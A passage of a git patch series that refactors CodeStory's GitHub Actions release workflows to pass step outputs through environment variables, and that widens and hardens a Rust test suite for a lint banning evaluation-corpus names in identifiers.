"$MARKETPLACE_SOURCE"', "--marketplace-source TheGreenCedar/AgentPluginMarketplace", ); }, /plugin-release\.yml step Prove the public marketplace install path must run --marketplace-source/u], + ["plugin lane rebinds the catalog source away from the delivery state", workflows => { + draftStep(pluginSmokeJob(workflows), "Prove the public marketplace install path") + .env.MARKETPLACE_SOURCE = "TheGreenCedar/AgentPluginMarketplace"; + }, /plugin-release\.yml step Prove the public marketplace install path must bind MARKETPLACE_SOURCE/u], ["plugin lane smoke installs the revision the job failed to publish", workflows => { draftStep(pluginSmokeJob(workflows), "Prove the public marketplace install path") .env.MARKETPLACE_REVISION = "${{ needs.marketplace-publish.outputs.marketplace_revision }}"; diff --git a/.github/workflows/packaged-platform-pr.yml b/.github/workflows/packaged-platform-pr.yml index 36bc36c23..a79c30552 100644 --- a/.github/workflows/packaged-platform-pr.yml +++ b/.github/workflows/packaged-platform-pr.yml @@ -225,28 +225,29 @@ jobs: env: BASE_SHA: ${{ steps.resolve.outputs.base_sha }} HEAD_SHA: ${{ steps.resolve.outputs.head_sha }} + RESOLVED_MODE: ${{ steps.resolve.outputs.mode }} REQUESTED_SCOPE: ${{ inputs.scope || 'auto' }} run: | set -euo pipefail - if [ "${{ steps.resolve.outputs.mode }}" = "integration" ]; then + if [ "$RESOLVED_MODE" = "integration" ]; then if [ "$REQUESTED_SCOPE" = none ] || [ "$REQUESTED_SCOPE" = linux ]; then scope="$REQUESTED_SCOPE" else scope=full fi - elif [ "${{ steps.resolve.outputs.mode }}" = "package" ]; then + elif [ "$RESOLVED_MODE" = "package" ]; then test "$REQUESTED_SCOPE" != none if [ "$REQUESTED_SCOPE" = auto ]; then scope=full else scope="$REQUESTED_SCOPE" fi - elif [ "${{ steps.resolve.outputs.mode }}" = "qualification" ]; then + elif [ "$RESOLVED_MODE" = "qualification" ]; then test "$REQUESTED_SCOPE" = auto || test "$REQUESTED_SCOPE" = full scope=full - elif [ "${{ steps.resolve.outputs.mode }}" = "calibration" ]; then + elif [ "$RESOLVED_MODE" = "calibration" ]; then scope=none - elif [ "${{ steps.resolve.outputs.mode }}" = "release-evidence" ]; then + elif [ "$RESOLVED_MODE" = "release-evidence" ]; then scope=none else scope="$(git diff --name-only "$BASE_SHA...$HEAD_SHA" | node .github/scripts/route-ci-proof.mjs --stdin --requested "$REQUESTED_SCOPE")" diff --git a/.github/workflows/packaged-platform-proof.yml b/.github/workflows/packaged-platform-proof.yml index 57757b1c1..336e8ab91 100644 --- a/.github/workflows/packaged-platform-proof.yml +++ b/.github/workflows/packaged-platform-proof.yml @@ -127,9 +127,12 @@ jobs: } >> "$GITHUB_OUTPUT" - name: Install pinned Rust + # The toolchain is now read as a shell variable, which makes the script shell-dependent: + # this job's matrix includes windows-latest, where the runner default is pwsh. + shell: bash run: | - rustup toolchain install "${{ env.RELEASE_RUST_TOOLCHAIN }}" --profile minimal - rustup default "${{ env.RELEASE_RUST_TOOLCHAIN }}" + rustup toolchain install "$RELEASE_RUST_TOOLCHAIN" --profile minimal + rustup default "$RELEASE_RUST_TOOLCHAIN" rustup target add "${{ matrix.rust_target }}" - name: Configure short Windows Cargo target @@ -321,8 +324,8 @@ jobs: shell: bash run: | docker build --platform linux/amd64 \ - --build-arg "BUILD_IMAGE=${{ env.LINUX_GLIBC_BUILD_IMAGE }}" \ - --build-arg "GLSLC_IMAGE=${{ env.LINUX_GLSLC_IMAGE }}" \ + --build-arg "BUILD_IMAGE=$LINUX_GLIBC_BUILD_IMAGE" \ + --build-arg "GLSLC_IMAGE=$LINUX_GLSLC_IMAGE" \ --file .github/docker/linux-glibc-build.Dockerfile \ --tag codestory-linux-glibc-build \ .github/docker @@ -354,6 +357,7 @@ jobs: - name: Build Linux x64 at the glibc 2.31 baseline id: linux-build if: matrix.asset_target == 'linux-x64' + shell: bash run: | test -x "$SCCACHE_PATH" mkdir -p "$CARGO_HOME" "$SCCACHE_DIR" @@ -739,6 +743,7 @@ jobs: - name: Package release asset if: runner.os != 'Windows' + shell: bash env: INPUT_VERSION: ${{ inputs.version }} run: | @@ -751,13 +756,14 @@ jobs: - name: Prove Linux x64 glibc 2.31 baseline if: matrix.asset_target == 'linux-x64' + shell: bash env: INPUT_VERSION: ${{ inputs.version }} run: | docker run --rm --platform linux/amd64 \ --volume "$PWD:/workspace" \ --workdir /workspace \ - "${{ env.LINUX_GLIBC_BASELINE_IMAGE }}" \ + "$LINUX_GLIBC_BASELINE_IMAGE" \ bash -lc ' set -euo pipefail bash .github/scripts/check-linux-glibc-baseline.sh "$@" @@ -778,15 +784,18 @@ jobs: - name: Smoke packaged release asset if: runner.os != 'Windows' + shell: bash env: INPUT_VERSION: ${{ inputs.version }} + SOURCE_SHA: ${{ steps.source-identity.outputs.sha }} + SOURCE_TREE: ${{ steps.source-identity.outputs.tree }} run: | python .github/scripts/check-packaged-agent-proof.py \ --archive "target/release-dist/codestory-cli-v${INPUT_VERSION}-${{ matrix.asset_target }}.tar.gz" \ --checksum-file target/release-dist/SHA256SUMS.txt \ --expected-version "$INPUT_VERSION" \ - --expected-source-sha "${{ steps.source-identity.outputs.sha }}" \ - --expected-source-tree "${{ steps.source-identity.outputs.tree }}" \ + --expected-source-sha "$SOURCE_SHA" \ + --expected-source-tree "$SOURCE_TREE" \ --version-only \ --out-dir "target/packaged-version-smoke/${{ matrix.asset_target }}" @@ -840,6 +849,7 @@ jobs: matrix.asset_target == 'linux-x64' && (inputs.calibration_mode || inputs.quality_evidence_artifact != '') + shell: bash env: CODESTORY_EMBED_ALLOW_CPU: "1" CALIBRATION_MODE: ${{ inputs.calibration_mode }} @@ -948,13 +958,15 @@ jobs: shell: pwsh env: INPUT_VERSION: ${{ inputs.version }} + SOURCE_SHA: ${{ steps.source-identity.outputs.sha }} + SOURCE_TREE: ${{ steps.source-identity.outputs.tree }} run: | python .github/scripts/check-packaged-agent-proof.py ` --archive "target/release-dist/codestory-cli-v$($env:INPUT_VERSION)-${{ matrix.asset_target }}.zip" ` --checksum-file target/release-dist/SHA256SUMS.txt ` --expected-version "$env:INPUT_VERSION" ` - --expected-source-sha "${{ steps.source-identity.outputs.sha }}" ` - --expected-source-tree "${{ steps.source-identity.outputs.tree }}" ` + --expected-source-sha "$env:SOURCE_SHA" ` + --expected-source-tree "$env:SOURCE_TREE" ` --version-only ` --out-dir "target/packaged-version-smoke/${{ matrix.asset_target }}" @@ -963,6 +975,8 @@ jobs: shell: bash env: INPUT_VERSION: ${{ inputs.version }} + SOURCE_SHA: ${{ steps.source-identity.outputs.sha }} + SOURCE_TREE: ${{ steps.source-identity.outputs.tree }} run: | set -euo pipefail archive="target/release-dist/codestory-cli-v${INPUT_VERSION}-${{ matrix.asset_target }}.${{ matrix.extension }}" @@ -973,8 +987,8 @@ jobs: { echo "### Fresh package identity" echo - echo "- Source SHA: \`${{ steps.source-identity.outputs.sha }}\`" - echo "- Source tree: \`${{ steps.source-identity.outputs.tree }}\`" + echo "- Source SHA: \`$SOURCE_SHA\`" + echo "- Source tree: \`$SOURCE_TREE\`" echo "- Archive: \`$(basename "$archive")\`" echo "- Archive SHA-256: \`$archive_sha256\`" } >> "$GITHUB_STEP_SUMMARY" @@ -1075,9 +1089,10 @@ jobs: test -n "$INPUT_VERSION" - name: Install pinned Rust + shell: bash run: | - rustup toolchain install "${{ env.RELEASE_RUST_TOOLCHAIN }}" --profile minimal - rustup default "${{ env.RELEASE_RUST_TOOLCHAIN }}" + rustup toolchain install "$RELEASE_RUST_TOOLCHAIN" --profile minimal + rustup default "$RELEASE_RUST_TOOLCHAIN" rustup target add x86_64-unknown-linux-gnu - name: Prepare checksum-pinned embedded model @@ -1087,8 +1102,8 @@ jobs: shell: bash run: | docker build --platform linux/amd64 \ - --build-arg "BUILD_IMAGE=${{ env.LINUX_GLIBC_BUILD_IMAGE }}" \ - --build-arg "GLSLC_IMAGE=${{ env.LINUX_GLSLC_IMAGE }}" \ + --build-arg "BUILD_IMAGE=$LINUX_GLIBC_BUILD_IMAGE" \ + --build-arg "GLSLC_IMAGE=$LINUX_GLSLC_IMAGE" \ --file .github/docker/linux-glibc-build.Dockerfile \ --tag codestory-linux-glibc-build \ .github/docker diff --git a/.github/workflows/plugin-release.yml b/.github/workflows/plugin-release.yml index 99c96387a..d4373c881 100644 --- a/.github/workflows/plugin-release.yml +++ b/.github/workflows/plugin-release.yml @@ -380,6 +380,8 @@ jobs: env: CODEX_CLI_VERSION: "0.144.5" MARKETPLACE_REVISION: ${{ steps.delivery.outputs.marketplace_revision }} + MARKETPLACE_SOURCE: ${{ steps.delivery.outputs.marketplace_source }} + LOCAL_FIXTURE: ${{ steps.delivery.outputs.local_fixture }} INPUT_VERSION: ${{ inputs.version }} run: | set -euo pipefail @@ -395,10 +397,10 @@ jobs: --codex-package-root "$codex_package_root" \ --codex-home "$install_root/codex-home" \ --plugin-data "$install_root/codex-home/plugin-data" \ - --marketplace-source "${{ steps.delivery.outputs.marketplace_source }}" \ + --marketplace-source "$MARKETPLACE_SOURCE" \ --marketplace-name TheGreenCedar \ --marketplace-revision "$MARKETPLACE_REVISION" \ - --local-fixture "${{ steps.delivery.outputs.local_fixture }}" \ + --local-fixture "$LOCAL_FIXTURE" \ --expected-version "$INPUT_VERSION" \ --source-repository "$GITHUB_WORKSPACE" \ --attestation "$install_root/install-attestation-v2.json" diff --git a/.github/workflows/post-publish-release-smoke.yml b/.github/workflows/post-publish-release-smoke.yml index d9f29e679..9fbd2440c 100644 --- a/.github/workflows/post-publish-release-smoke.yml +++ b/.github/workflows/post-publish-release-smoke.yml @@ -188,27 +188,33 @@ jobs: - name: Prove packaged version, help, and stdio shape shell: bash + env: + ASSET_ARCHIVE: ${{ steps.asset.outputs.archive }} + ASSET_CHECKSUM: ${{ steps.asset.outputs.checksum }} + RELEASE_VERSION: ${{ steps.release.outputs.version }} run: >- python .github/scripts/check-packaged-agent-proof.py - --archive "${{ steps.asset.outputs.archive }}" - --checksum-file "${{ steps.asset.outputs.checksum }}" - --expected-version "${{ steps.release.outputs.version }}" + --archive "$ASSET_ARCHIVE" + --checksum-file "$ASSET_CHECKSUM" + --expected-version "$RELEASE_VERSION" --version-only --out-dir "target/post-publish-version-proof/${{ matrix.asset_target }}" - name: Prove published macOS signature, notarization, and quarantined execution if: runner.os == 'macOS' shell: bash + env: + ASSET_ARCHIVE: ${{ steps.asset.outputs.archive }} run: | set -euo pipefail proof_dir="target/post-publish-macos-signing/${{ matrix.asset_target }}" unpacked="$proof_dir/unpacked" mkdir -p "$unpacked" quarantine="0083;$(date +%s);CodeStory;" - xattr -w com.apple.quarantine "$quarantine" "${{ steps.asset.outputs.archive }}" - xattr -p com.apple.quarantine "${{ steps.asset.outputs.archive }}" \ + xattr -w com.apple.quarantine "$quarantine" "$ASSET_ARCHIVE" + xattr -p com.apple.quarantine "$ASSET_ARCHIVE" \ > "$proof_dir/archive-quarantine.txt" - tar -xzf "${{ steps.asset.outputs.archive }}" -C "$unpacked" + tar -xzf "$ASSET_ARCHIVE" -C "$unpacked" bins="$(find "$unpacked" -type f -name codestory-cli -print)" count="$(printf '%s\n' "$bins" | sed '/^$/d' | wc -l | tr -d ' ')" if [ "$count" -ne 1 ]; then @@ -310,12 +316,17 @@ jobs: - name: Resolve the published plugin through the marketplace catalog id: installed shell: bash + env: + MARKETPLACE_REVISION: ${{ steps.delivery.outputs.marketplace_revision }} + MARKETPLACE_SOURCE: ${{ steps.delivery.outputs.marketplace_source }} + LOCAL_FIXTURE: ${{ steps.delivery.outputs.local_fixture }} + RELEASE_VERSION: ${{ steps.release.outputs.version }} run: | set -euo pipefail install_root="$RUNNER_TEMP/codestory-installed-proof" codex_package_root="$RUNNER_TEMP/codex-cli-${CODEX_CLI_VERSION}" isolated_home="$install_root/isolated-home" - marketplace_revision="${{ steps.delivery.outputs.marketplace_revision }}" + marketplace_revision="$MARKETPLACE_REVISION" printf '%s' "$marketplace_revision" | grep -Eq '^[0-9a-f]{40}$' rm -rf "$install_root" mkdir -p "$isolated_home" @@ -328,11 +339,11 @@ jobs: --codex-package-root "$codex_package_root" \ --codex-home "$install_root/codex-home" \ --plugin-data "$install_root/codex-home/plugin-data" \ - --marketplace-source "${{ steps.delivery.outputs.marketplace_source }}" \ + --marketplace-source "$MARKETPLACE_SOURCE" \ --marketplace-name TheGreenCedar \ --marketplace-revision "$marketplace_revision" \ - --local-fixture "${{ steps.delivery.outputs.local_fixture }}" \ - --expected-version "${{ steps.release.outputs.version }}" \ + --local-fixture "$LOCAL_FIXTURE" \ + --expected-version "$RELEASE_VERSION" \ --source-repository "$GITHUB_WORKSPACE" \ --attestation "$install_root/install-attestation-v2.json" \ --github-output "$GITHUB_OUTPUT" @@ -340,24 +351,30 @@ jobs: - name: Prove the catalog-resolved published runtime env: CODESTORY_EMBED_ALLOW_CPU: "0" + ASSET_ARCHIVE: ${{ steps.asset.outputs.archive }} + ASSET_CHECKSUM: ${{ steps.asset.outputs.checksum }} + RELEASE_VERSION: ${{ steps.release.outputs.version }} + INSTALLED_PLUGIN_ROOT: ${{ steps.installed.outputs.plugin_root }} + INSTALLED_ATTESTATION: ${{ steps.installed.outputs.attestation }} + INSTALLED_PLUGIN_DATA: ${{ steps.installed.outputs.plugin_data }} shell: bash run: | set -euo pipefail source_sha="$(git rev-parse HEAD)" source_tree="$(git rev-parse 'HEAD^{tree}')" python .github/scripts/check-packaged-agent-proof.py \ - --archive "${{ steps.asset.outputs.archive }}" \ - --checksum-file "${{ steps.asset.outputs.checksum }}" \ - --expected-version "${{ steps.release.outputs.version }}" \ + --archive "$ASSET_ARCHIVE" \ + --checksum-file "$ASSET_CHECKSUM" \ + --expected-version "$RELEASE_VERSION" \ --project "${{ github.workspace }}" \ - --plugin-root "${{ steps.installed.outputs.plugin_root }}" \ + --plugin-root "$INSTALLED_PLUGIN_ROOT" \ --plugin-handoff \ --engine-policy accelerated \ --expected-backend "${{ matrix.backend }}" \ --proof-tier installed_runtime \ --server-behavior-only \ - --installed-plugin-attestation "${{ steps.installed.outputs.attestation }}" \ - --installed-plugin-data "${{ steps.installed.outputs.plugin_data }}" \ + --installed-plugin-attestation "$INSTALLED_ATTESTATION" \ + --installed-plugin-data "$INSTALLED_PLUGIN_DATA" \ --expected-source-sha "$source_sha" \ --expected-source-tree "$source_tree" \ --timeout-secs 3600 \ @@ -366,17 +383,21 @@ jobs: - name: Emit authenticated post-publish release cells if: inputs.emit_release_cells shell: bash + env: + RELEASE_VERSION: ${{ steps.release.outputs.version }} + ASSET_ARCHIVE: ${{ steps.asset.outputs.archive }} + DELIVERED_INSTALLER: ${{ steps.delivery.outputs.installer }} run: | set -euo pipefail - version="${{ steps.release.outputs.version }}" - archive="${{ steps.asset.outputs.archive }}" + version="$RELEASE_VERSION" + archive="$ASSET_ARCHIVE" ledger="$(find target/pre-publish-closeout -type f -name ledger.json -print)" test "$(printf '%s\n' "$ledger" | sed '/^$/d' | wc -l | tr -d ' ')" = 1 mkdir -p target/release-cells # The installer identity is whatever the delivery state resolved, never a literal: a # deferred run must not be able to sign a cell that says the public catalog served it. jq -n \ - --arg installer "${{ steps.delivery.outputs.installer }}" \ + --arg installer "$DELIVERED_INSTALLER" \ --arg native_engine coderank_q8_embedded \ '{installer: $installer, native_engine: $native_engine}' \ > target/release-cells/installed-identity.json diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index c50d833a5..11091cc4b 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -552,13 +552,15 @@ jobs: - name: Evaluate authenticated pre-publish closeout shell: bash + env: + RELEASE_VERSION: ${{ needs.preflight.outputs.version }} run: | set -euo pipefail evaluated_at="$(date -u +'%Y-%m-%dT%H:%M:%S.000Z')" node scripts/codestory-release-closeout.mjs evaluate \ --repo "$GITHUB_WORKSPACE" \ --expected-sha "$GITHUB_SHA" \ - --version "${{ needs.preflight.outputs.version }}" \ + --version "$RELEASE_VERSION" \ --phase pre_publish \ --evaluated-at "$evaluated_at" \ --trusted-producers target/release-closeout/trusted-pre-publish-producers.json \ @@ -749,12 +751,13 @@ jobs: continue-on-error: true env: GH_TOKEN: ${{ steps.token.outputs.token }} + RELEASE_VERSION: ${{ needs.preflight.outputs.version }} run: | set -euo pipefail node .github/scripts/publish-marketplace-catalog.mjs \ --source-repository "$GITHUB_WORKSPACE" \ --commit "$GITHUB_SHA" \ - --version "${{ needs.preflight.outputs.version }}" \ + --version "$RELEASE_VERSION" \ --github-output "$GITHUB_OUTPUT" # The only place the "catalog was updated" claim is ever minted. It requires the token, the @@ -887,6 +890,8 @@ jobs: - name: Evaluate authenticated post-publish closeout shell: bash + env: + RELEASE_VERSION: ${{ needs.preflight.outputs.version }} run: | set -euo pipefail ledger="$(find target/accepted-pre-publish-closeout -type f -name ledger.json -print)" @@ -895,7 +900,7 @@ jobs: node scripts/codestory-release-closeout.mjs evaluate \ --repo "$GITHUB_WORKSPACE" \ --expected-sha "$GITHUB_SHA" \ - --version "${{ needs.preflight.outputs.version }}" \ + --version "$RELEASE_VERSION" \ --phase post_publish \ --evaluated-at "$evaluated_at" \ --trusted-producers target/release-closeout/trusted-post-publish-producers.json \ From aea8013d164e8c2e3d8c02581d925d855f9c6a62 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 15:24:53 -0500 Subject: [PATCH 057/132] ban a corpus name wherever an identifier makes it a word The identity bans carry alphanumeric boundaries, so they only fired when the glue around the name happened to be punctuation. `_` was closed last round; every other way an identifier joins words was still open. Probing all 127 identity bans showed 8 of 11 identifier shapes walking straight past them -- `AxiosRanker`, `boostForSwr`, `SWRIndex`, `okio2`, `rank2Sourcetrail` and the rest -- across all 18 identifier-legal names. Rather than teach each ban about letter case, which the case-insensitive compilation makes impossible, the scan takes a second view of every line with identifier word breaks made visible. The ban set is byte-identical (1706 patterns before and after), so the pending inventory keys and every dump stay put; only the surface the unchanged bans are applied to grows. Boundaries a reader cannot see are still not inserted: `tokio` is not `okio`, `plugin` is not `gin`, and an unbroken single-case run stays unsegmented and unbanned. The two floor tests now generate over `identifier_word_shapes` instead of naming spellings, so a shape closed for one token is proven closed for every token, and a new negative test pins the substring floor from the other side. The guarded-path dump reported four of the lint's surfaces and omitted three, including the 221 protected non-Rust files -- so a corpus dependency could land in a skill, a rule file or a workflow with the gate that rejects it never firing. The dump now reports all seven, and refuses to write itself if any file this run opened is undeclared, which is what makes the trigger contract bind: the trigger covers the dump and the dump provably covers the scan. retrieval-engine-smoke triggers on those trees accordingly. `LINT_SCRIPT_LOCK` serialises subprocesses and guards no state, so it now recovers from poisoning. One real failure was being reported as several. --- .github/workflows/retrieval-engine-smoke.yml | 60 ++- .../tests/retrieval_generalization_guard.rs | 381 ++++++++++++------ scripts/lint-retrieval-generalization.mjs | 201 +++++++-- 3 files changed, 446 insertions(+), 196 deletions(-) diff --git a/.github/workflows/retrieval-engine-smoke.yml b/.github/workflows/retrieval-engine-smoke.yml index 87fdf4f95..5da9f6bfb 100644 --- a/.github/workflows/retrieval-engine-smoke.yml +++ b/.github/workflows/retrieval-engine-smoke.yml @@ -22,24 +22,22 @@ on: - crates/codestory-cli/src/readiness.rs - crates/codestory-cli/src/stdio_transport.rs # This job runs the generalization gate, so it has to trigger on the code - # that gate guards, on the corpus its bans are derived from, and on the - # lint itself. crates/codestory-runtime/tests/retrieval_generalization_guard.rs - # keeps this list equal to the paths the lint reports as guarded. - - crates/codestory-runtime/src/agent/** - - crates/codestory-runtime/src/search_plan.rs - - crates/codestory-runtime/src/search_scoring.rs - - crates/codestory-runtime/src/search_terms.rs - - crates/codestory-retrieval/src/** - - crates/codestory-runtime/tests/retrieval_generalization_guard.rs + # that gate guards, on the corpus its bans are derived from, on the + # non-Rust product surfaces it also scans, and on the lint itself. + # crates/codestory-runtime/tests/retrieval_generalization_guard.rs keeps + # this list covering every path the lint reports as guarded. The globs are + # whole trees on purpose: the lint reads every crate's `src`, all three + # eval corpora, and every file under `scripts/`, `.github/`, + # `.cursor/rules` and `plugins/codestory`. A filter narrower than what the + # lint reads is a gate that never fires on the code it guards. + - crates/** - benchmarks/tasks/** - - scripts/lint-retrieval-generalization.mjs - - scripts/cross-repo-sourcetrail-queries.mjs - - scripts/retrieval-generalization-pending.json - - scripts/tests/lint-retrieval-generalization.test.mjs - - .github/scripts/check-packaged-agent-proof.py - - .github/scripts/install-linux-vulkan-build-deps.sh + - scripts/** + - .github/** + - .cursor/rules/** + - plugins/codestory/** + - .codex/environments/environment.toml - .github/scripts/install-windows-vulkan-sdk.ps1 - - .github/workflows/retrieval-engine-smoke.yml - .github/workflows/rust-ci.yml - scripts/prepare-embedded-model.mjs - docs/contributors/testing-matrix.md @@ -66,24 +64,22 @@ on: - crates/codestory-cli/src/readiness.rs - crates/codestory-cli/src/stdio_transport.rs # This job runs the generalization gate, so it has to trigger on the code - # that gate guards, on the corpus its bans are derived from, and on the - # lint itself. crates/codestory-runtime/tests/retrieval_generalization_guard.rs - # keeps this list equal to the paths the lint reports as guarded. - - crates/codestory-runtime/src/agent/** - - crates/codestory-runtime/src/search_plan.rs - - crates/codestory-runtime/src/search_scoring.rs - - crates/codestory-runtime/src/search_terms.rs - - crates/codestory-retrieval/src/** - - crates/codestory-runtime/tests/retrieval_generalization_guard.rs + # that gate guards, on the corpus its bans are derived from, on the + # non-Rust product surfaces it also scans, and on the lint itself. + # crates/codestory-runtime/tests/retrieval_generalization_guard.rs keeps + # this list covering every path the lint reports as guarded. The globs are + # whole trees on purpose: the lint reads every crate's `src`, all three + # eval corpora, and every file under `scripts/`, `.github/`, + # `.cursor/rules` and `plugins/codestory`. A filter narrower than what the + # lint reads is a gate that never fires on the code it guards. + - crates/** - benchmarks/tasks/** - - scripts/lint-retrieval-generalization.mjs - - scripts/cross-repo-sourcetrail-queries.mjs - - scripts/retrieval-generalization-pending.json - - scripts/tests/lint-retrieval-generalization.test.mjs - - .github/scripts/check-packaged-agent-proof.py - - .github/scripts/install-linux-vulkan-build-deps.sh + - scripts/** + - .github/** + - .cursor/rules/** + - plugins/codestory/** + - .codex/environments/environment.toml - .github/scripts/install-windows-vulkan-sdk.ps1 - - .github/workflows/retrieval-engine-smoke.yml - .github/workflows/rust-ci.yml - scripts/prepare-embedded-model.mjs - docs/contributors/testing-matrix.md diff --git a/crates/codestory-runtime/tests/retrieval_generalization_guard.rs b/crates/codestory-runtime/tests/retrieval_generalization_guard.rs index b08f17376..e0413f05e 100644 --- a/crates/codestory-runtime/tests/retrieval_generalization_guard.rs +++ b/crates/codestory-runtime/tests/retrieval_generalization_guard.rs @@ -2,11 +2,24 @@ use std::path::{Path, PathBuf}; use std::process::{Command, Output}; -use std::sync::{Mutex, OnceLock}; +use std::sync::{Mutex, MutexGuard, OnceLock}; use tempfile::TempDir; static LINT_SCRIPT_LOCK: OnceLock> = OnceLock::new(); +/// Serialises the lint subprocesses. The lock guards no shared state -- only the +/// cost of running many `node` processes at once -- so a test that panics while +/// holding it has corrupted nothing. Recovering from the poison rather than +/// propagating it keeps one real failure reported as one failure: without this, +/// the first genuine assertion turns every later test into a `PoisonError` +/// panic, and the failure list says nothing about how much is actually broken. +fn lint_script_lock() -> MutexGuard<'static, ()> { + LINT_SCRIPT_LOCK + .get_or_init(|| Mutex::new(())) + .lock() + .unwrap_or_else(|poisoned| poisoned.into_inner()) +} + fn production_source(contents: &str) -> &str { match contents.find("#[cfg(test)]") { Some(marker) => &contents[..marker], @@ -70,10 +83,7 @@ fn lint_script(repo_root: &Path) -> PathBuf { } fn run_lint_with_scan_root(repo_root: &Path, script: &Path, scan_root: &Path) -> Output { - let _guard = LINT_SCRIPT_LOCK - .get_or_init(|| Mutex::new(())) - .lock() - .expect("lock lint script subprocess"); + let _guard = lint_script_lock(); Command::new("node") .arg(script) .current_dir(repo_root) @@ -112,10 +122,7 @@ fn run_lint_with_prompt_script_fixture(contents: &str) -> Output { .expect("write neutral Rust fixture"); std::fs::write(&prompt_script, contents).expect("write prompt script fixture"); - let _guard = LINT_SCRIPT_LOCK - .get_or_init(|| Mutex::new(())) - .lock() - .expect("lock lint script subprocess"); + let _guard = lint_script_lock(); Command::new("node") .arg(&script) .current_dir(&repo_root) @@ -147,10 +154,7 @@ fn run_lint_with_non_rust_fixtures(fixtures: &[(&str, &str)]) -> Output { std::fs::write(file_path, contents).expect("write non-Rust fixture"); } - let _guard = LINT_SCRIPT_LOCK - .get_or_init(|| Mutex::new(())) - .lock() - .expect("lock lint script subprocess"); + let _guard = lint_script_lock(); Command::new("node") .arg(&script) .current_dir(&repo_root) @@ -172,10 +176,7 @@ fn retrieval_generalization_lint_script_exits_clean_with_extra_fixture_root() { let script = lint_script(&repo_root); let fixture_root = TempDir::new().expect("create fixture root"); - let _guard = LINT_SCRIPT_LOCK - .get_or_init(|| Mutex::new(())) - .lock() - .expect("lock lint script subprocess"); + let _guard = lint_script_lock(); let output = Command::new("node") .arg(&script) .current_dir(&repo_root) @@ -870,10 +871,7 @@ fn run_lint_with_fixture_and_task_root(contents: &str, task_root: Option<&Path>) let fixture_root = TempDir::new().expect("create fixture root"); std::fs::write(fixture_root.path().join("fixture.rs"), contents).expect("write fixture"); - let _guard = LINT_SCRIPT_LOCK - .get_or_init(|| Mutex::new(())) - .lock() - .expect("lock lint script subprocess"); + let _guard = lint_script_lock(); let mut command = Command::new("node"); command.arg(&script).current_dir(&repo_root).env( "CODESTORY_RETRIEVAL_GENERALIZATION_SCAN_ROOTS", @@ -961,10 +959,7 @@ fn derived_patterns_with_extra_task(manifest: &str) -> Vec { std::fs::write(scan_root.join("probe.rs"), "pub fn probe() {}\n").expect("write probe fixture"); let dump_path = probe_root.path().join("patterns.json"); - let _guard = LINT_SCRIPT_LOCK - .get_or_init(|| Mutex::new(())) - .lock() - .expect("lock lint script subprocess"); + let _guard = lint_script_lock(); let output = Command::new("node") .arg(&script) .current_dir(&repo_root) @@ -1047,10 +1042,7 @@ fn run_lint_with_extra_crate_names(extra_crate_names: &[&str]) -> Output { ) .expect("write neutral fixture"); - let _guard = LINT_SCRIPT_LOCK - .get_or_init(|| Mutex::new(())) - .lock() - .expect("lock lint script subprocess"); + let _guard = lint_script_lock(); Command::new("node") .arg(&script) .current_dir(&repo_root) @@ -1117,10 +1109,7 @@ fn lint_guarded_paths() -> Vec { let dump_root = TempDir::new().expect("create guarded-path dump root"); let dump_path = dump_root.path().join("guarded.json"); - let _guard = LINT_SCRIPT_LOCK - .get_or_init(|| Mutex::new(())) - .lock() - .expect("lock lint script subprocess"); + let _guard = lint_script_lock(); let output = Command::new("node") .arg(&script) .current_dir(&repo_root) @@ -1138,23 +1127,42 @@ fn lint_guarded_paths() -> Vec { let doc: serde_json::Value = serde_json::from_str(&std::fs::read_to_string(&dump_path).expect("read guarded paths")) .expect("parse guarded paths"); - let mut guarded = Vec::new(); - for group in [ + // Every group the dump carries, read from the document rather than from a + // list written down here. A hand-picked subset is how the last version of + // this test passed while the lint guarded 221 non-Rust files that no trigger + // covered: the test could not see the roots it was not told to look at. + let groups = doc + .as_object() + .expect("guarded-path dump is an object") + .keys() + .cloned() + .collect::>(); + for required in [ "productionDirs", "productionFiles", "corpusDirs", + "corpusFiles", + "protectedNonRustDirs", + "protectedNonRustFiles", "lintFiles", ] { + assert!( + groups.iter().any(|group| group == required), + "guarded-path dump dropped the {required} surface, got {groups:?}" + ); + } + let mut guarded = Vec::new(); + for group in &groups { for entry in doc .get(group) .and_then(|value| value.as_array()) - .unwrap_or_else(|| panic!("guarded-path dump carries {group}")) + .unwrap_or_else(|| panic!("guarded-path group {group} is not an array")) { guarded.push(entry.as_str().expect("guarded path is a string").to_owned()); } } assert!( - guarded.len() >= 8, + guarded.len() >= 40, "the lint should report every surface it reads, got {guarded:?}" ); guarded @@ -1433,6 +1441,66 @@ const CORPUS_NAMES_RULED_OUT_OF_THE_BAN: &[(&str, &str)] = &[ ), ]; +/// Every shape an identifier gives a corpus name it carries as one of its +/// words. `_` is only the most obvious glue. The same steering site is spelled +/// `sourcetrail_index`, `SourcetrailIndex`, `useSourcetrail`, +/// `SOURCETRAIL_BOOST` or `sourcetrail2` depending on the item kind, and a ban +/// anchored on alphanumeric boundaries survives only the spellings whose glue +/// happens to be punctuation -- every other spelling walks past a ban that is +/// nominally in force. +/// +/// Tests generate over this list instead of naming examples. Twice now a repair +/// on this lint closed the inputs it was shown (`_` adjacency, then PascalCase +/// concatenation) and left the rest of the same class open; a shape closed here +/// is closed for every token, and a shape someone reopens is reported for every +/// token at once. +fn identifier_word_shapes(token: &str) -> Vec<(&'static str, String)> { + let lower = token.to_ascii_lowercase(); + let upper = token.to_ascii_uppercase(); + let mut characters = lower.chars(); + let capital = match characters.next() { + Some(first) => format!("{}{}", first.to_ascii_uppercase(), characters.as_str()), + None => String::new(), + }; + vec![ + // Punctuation glue: what the boundary already understood. + ("separator_prefix", format!("boost_{lower}_paths")), + ("separator_suffix", format!("{lower}_command_boost")), + ("screaming_separator", format!("{upper}_PATH_BOOST")), + // Case glue: a word break every reader sees and no `[^A-Za-z0-9]` + // boundary can. + ("pascal_type", format!("{capital}Ranker")), + ("pascal_lead", format!("{capital}IndexBoost")), + ("pascal_middle", format!("BoostFor{capital}Index")), + ("camel_tail", format!("boostFor{capital}")), + ("camel_tail_acronym", format!("boostFor{upper}")), + ("acronym_then_word", format!("{upper}Index")), + // Digit glue: the other invisible break. + ("digit_suffix", format!("{lower}2")), + ("digit_prefix", format!("rank2{capital}")), + ] +} + +/// True when `name` can be spelled as Rust identifier text at all. Hyphenated +/// slugs (`chinook-database`) and dotted file names (`axios.js`) can only be +/// planted as literals, so the identifier shapes do not apply to them. +fn is_identifier_text(name: &str) -> bool { + name.chars().all(|c| 